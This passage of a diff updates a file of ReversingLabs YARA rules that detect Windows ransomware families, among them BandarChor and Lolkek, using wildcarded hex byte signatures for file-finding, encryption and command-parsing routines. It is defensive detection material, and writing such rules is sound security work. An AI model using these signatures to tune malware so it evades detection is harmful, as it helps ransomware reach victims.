+            ?? 90 8B 45 ?? C6 00 ?? 8B 45 ?? 40 89 45 ?? 39 4D ?? 72 ?? 57 6A ?? FF 15 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? 8B 75 ?? EB
+        }
+		$find_files_p1 = {
+            55 8B EC 83 EC ?? 53 56 8B 75 ?? 57 8B F9 83 3E ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8D
+            45 ?? 50 52 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 89 45 ?? 8D
+            45 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 57 C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0F 89 4D ?? 85 C0 78 ??
+            83 F9 ?? 74 ?? FF 75 ?? BB ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 50
+            FF 15 ?? ?? ?? ?? 8B 55 ?? EB ?? FF 75 ?? C7 06 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 8B 17 33 DB 89 55 ?? C7 45
+            ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 81 C1 ?? ?? ?? ?? 39 4D ?? 73
+        }
+		$find_files_p2 = {
+            8B 45 ?? C6 00 ?? 8B 45 ?? 40 89 45 ?? 39 4D ?? 72 ?? 53 6A ?? 6A ?? 6A ?? 68 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 8B F8 33 DB
+            89 5D ?? 81 FF ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 85 FF 78 ?? 8B 4D ?? 8B 35 ??
+            ?? ?? ?? 2B CB 0F 84 ?? ?? ?? ?? 83 E9 ?? 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B C1
+            C1 E8 ?? F7 D0 A8 ?? 74 ?? F7 C1 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 74 ?? 83 FE
+            ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 C0
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Bandarchor : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects BandarChor ransomware."
+		author = "ReversingLabs"
+		id = "c645a081-7ff6-58fc-af8e-55f43f56d0ea"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.BandarChor.yara#L1-L97"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "1c0c33ef7de089fc7ed6b364c7693499d1a93f79a48d6f2a5c375e47aea176bc"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "BandarChor"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$file_extensions_1 = {
+            55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 F9 51 53 89 55 ?? 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? 8B 95 ??
+            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 0F 85 F9 00 00 00 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B C3 E8 4F FE FF FF E9 ?? ?? ?? ?? 8D 95
+        }
+		$file_extensions_2 = {
+            ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ??
+            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ??
+            ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8
+        }
+		$file_extensions_3 = {
+            8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ??
+            ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ??
+            8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B
+            45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
+        }
+		$file_extensions_4 = {
+            0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D
+            95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45
+            ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F
+            84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ??
+            E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84
+        }
+		$file_extensions_5 = {
+            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ??
+            ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84
+            }
+		$parse_server_commands = {
+            83 F9 ?? 0F 84 E0 00 00 00 50 53 56 57 89 C3 89 D6 89 CF 31 D2 8A 06 8A 56 ?? 3C ?? 74 25 3C ?? 74 3E 3C ?? 74 51 3C ??
+            74 5C 3C ?? 74 76 3C ?? 0F 84 84 00 00 00 3C ?? 0F 84 8B 00 00 00 E9 97 00 00 00 83 F9 ?? 89 D8 7F 0A E8 ?? ?? ?? ?? E9
+            91 00 00 00 89 CA E8 ?? ?? ?? ?? E9 85 00 00 00 83 F9 ?? 89 D8 7F 07 E8 ?? ?? ?? ?? EB 77 89 CA E8 ?? ?? ?? ?? EB 6E 89
+            D8 83 C3 ?? E8 ?? ?? ?? ?? 4F 7F F3 EB 5F 55 89 D5 8B 54 2E ?? 89 D8 03 5C 2E ?? 8B 4C 2E ?? 8B 12 E8 62 FF FF FF 4F 7F
+            E8 5D EB 41 55 89 D5 89 D8 03 5C 2E ?? 89 F2 E8 ?? ?? ?? ?? 4F 7F F0 5D EB 2B 89 D8 83 C3 ?? E8 ?? ?? ?? ?? 4F 7F F3 EB
+            1C 89 D8 89 F2 83 C3 ?? E8 ?? ?? ?? ?? 4F 7F F1 EB 0B 5F 5E 5B 58 B0 ?? E9 ?? ?? ?? ?? 5F 5E 5B 58 C3 8B C0 B9 ?? ?? ??
+            ?? E9 0A FF FF FF C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and (($file_extensions_1 and $file_extensions_2 and $file_extensions_3 and $file_extensions_4 and $file_extensions_5) and $parse_server_commands)
+}
+rule REVERSINGLABS_Win32_Ransomware_Lolkek : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Lolkek ransomware."
+		author = "ReversingLabs"
+		id = "441badd6-3708-5f74-90f3-4d3a0fc45aff"
+		date = "2020-10-23"
+		modified = "2020-10-23"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Lolkek.yara#L1-L106"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "d18545b25a33bba1a6e01ab37768bd4f15fb125dcb8cbe7909d9a8bbe08e63fa"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Lolkek"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files = {
+            57 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ??
+            ?? ?? ?? B9 ?? ?? ?? ?? FF 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 3C 85 ?? ?? ?? ?? 40 99
+            F7 F9 89 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 8B CF E8 ?? ?? ?? ?? 85 C0 74
+            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8B F0 68 ?? ?? ?? ?? 56 FF D3 83
+            C4 ?? 56 57 FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ??
+            6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ??
+            ?? ?? B9 ?? ?? ?? ?? FF 0D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 3C 85 ?? ?? ?? ?? 40 99 F7
+            F9 89 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 85 FF 0F 85 ?? ?? ?? ?? 5E 5B 33 C0 5F C2
+        }
+		$find_volumes_p1 = {
+            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56
+            57 E8 ?? ?? ?? ?? 6A ?? 8D 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 6A ?? 50 C7 44
+            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ??
+            ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84
+            24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ??
+            ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24
+            ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ??
+            ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 83 C4 ?? 89 74 24 ?? 33
+        }
+		$find_volumes_p2 = {
+            FF 8B 5C BC ?? 53 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 89 9C B4 ?? ?? ?? ?? 46 47 83 FF
+            ?? 7C ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 57 FF 15 ??
+            ?? ?? ?? 8B D8 0F 1F 00 85 F6 74 ?? 8D 44 24 ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 57
+            FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74
+            ?? 4E 57 FF B4 B4 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ??
+            ?? 85 C0 75 ?? 53 FF 15 ?? ?? ?? ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ??
+            ?? ?? 83 C4 ?? 8B 3D ?? ?? ?? ?? 33 F6 8B 1D ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? FF
+            D7 33 D2 B9 ?? ?? ?? ?? F7 F1 68 ?? ?? ?? ?? 80 C2 ?? 88 94 34 ?? ?? ?? ?? FF D3 46
+            83 FE ?? 7C ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 FF 15
+        }
+		$find_files_p1 = {
+            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41
+            F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 5F C9 C3 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ??
+            ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
+            FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ??
+            8B CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ??
+            8B 43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B EB ?? 33 FF 57 57
+            57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89
+            45 ?? 8B 4D ?? 8B 55 ?? 53 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74
+            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ??
+            ?? ?? 8A 01 88 85 ?? ?? ?? ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8
+            ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ??
+            3C ?? 8A C3 75 ?? B0 ?? 2B CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D
+        }
+		$find_files_p2 = {
+            56 1B C0 89 9D ?? ?? ?? ?? 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ??
+            ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 8D ?? ?? ?? ?? F7 D8 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ??
+            ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B
+            D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D
+            ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ??
+            88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85
+            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ??
+            75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ??
+            ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ??
+            ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ??
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2
+            C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4
+            ?? EB ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            59 8B D8 56 FF 15 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 59 8B C3 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_volumes_p*)) and ( all of ($find_files_p*)) and ($encrypt_files)
 }
 rule REVERSINGLABS_Win64_Ransomware_Seth : TC_DETECTION MALICIOUS MALWARE FILE
 {
@@ -44202,8 +44738,8 @@ rule REVERSINGLABS_Win64_Ransomware_Seth : TC_DETECTION MALICIOUS MALWARE FILE
 		date = "2021-04-02"
 		modified = "2021-04-02"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.Seth.yara#L1-L122"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.Seth.yara#L1-L122"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "72a9d902eea2381f40d42faa7f1686c4ca54d364af0cbd8711697bbc1a235646"
 		score = 75
 		quality = 90
@@ -44307,18 +44843,20 @@ rule REVERSINGLABS_Win64_Ransomware_Seth : TC_DETECTION MALICIOUS MALWARE FILE
 	condition:
 		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Antefrigus : TC_DETECTION MALICIOUS MALWARE FILE
+import "pe"
+
+rule REVERSINGLABS_Win32_Ransomware_Archiveus : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects AnteFrigus ransomware."
+		description = "Yara rule that detects Archiveus ransomware."
 		author = "ReversingLabs"
-		id = "903ac92c-1a4a-5645-92db-d00b3bfd6ada"
-		date = "2021-03-05"
-		modified = "2021-03-05"
